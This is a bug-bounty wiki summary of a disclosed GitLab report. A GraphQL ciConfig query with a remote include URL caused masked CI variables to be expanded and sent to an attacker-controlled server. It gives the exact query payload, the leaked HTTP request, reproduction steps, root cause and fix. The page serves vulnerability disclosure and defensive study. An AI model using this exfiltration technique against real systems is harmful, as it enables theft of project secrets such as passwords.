Backend: Unallowed users can read masked CI variables of Gitlab projects
A GraphQL endpoint that resolves CI configuration allowed users without project membership to include remote files that expanded masked CI variables, causing the server to fetch a URL containing the secret. An attacker could read sensitive CI variables such as passwords from projects they should not access.
GitLab
Originally disclosed on GitLab
- Fixed in 4 months
- Disclosed after 4 months
HackerOne report #1511133 by shells3c on 2022-03-14, assigned to @dcouture:
Report | How To Reproduce
Report
Summary
External users/users without privilege/guests (depends on project visibility) can access CI variables of a Gitlab project using GraphQL. The table below explains all situations that a user can access CI variables:
| Project visibility | Public Project | Internal Project | Private Project |
|---|---|---|---|
| External user | Yes | No | No |
| User | Yes | Yes | No |
| Guest | Yes | Yes | Yes |
Steps to reproduce
- Create a project, then create a masked CI variable in the project name
PASSWORD, disable Protect variable and enable Mask variable - From another account (no role in the project), run the following query in the GraphQL Explorer
{
ciConfig(
projectPath: "dcouture/public_project"
content: "include: https://[redacted]/$VARIABLE_NAME.yaml"
) {
errors
}
}
- The server at
example.comwill receive the following request
GET /[YOUR PASSWORD HERE].yaml HTTP/1.0
Host: [redacted]
Connection: close
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
What is the current bug behavior?
GraphQL operation getCiConfigData loads all CI variables of the project including custom ones in the background
What is the expected correct behavior?
GraphQL operation getCiConfigData shouldn't be able to access project's custom variables
Output of checks
This bug happens on GitLab.com
Impact
Accessing CI variables, including sensitive masked variables of Gitlab projects without permission
Proposal
Update Resolvers::Ci::ConfigResolver to authorize using the create_pipeline policy.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the GraphQL CI config resolver did not enforce the create_pipeline authorisation policy, so it loaded and expanded project CI variables for users without the required project role.
Impact
Users without the required project role could read sensitive masked CI variables, including passwords, from projects they should not access.
What the attacker needed
A GitLab account; a project with a masked CI variable; attacker controls an external server
The fix
The CI config resolver should be updated to authorise requests using the create_pipeline policy.
How it was found
- Create a project and add a masked CI variable named PASSWORD, with Protect variable disabled and Mask variable enabled.
- From another account with no role in the project, run a GraphQL ciConfig query that includes a remote URL containing the variable name.
- Observe the server at the attacker-controlled host receiving a request whose path contains the secret value.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab projects can store secret values called CI variables, used when running automated jobs. A feature that lets a project's configuration include files from other URLs was expanding those secrets into the URL, so the server made a request to an attacker-controlled address containing the secret. The attacker could then read the secret from their own server logs.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.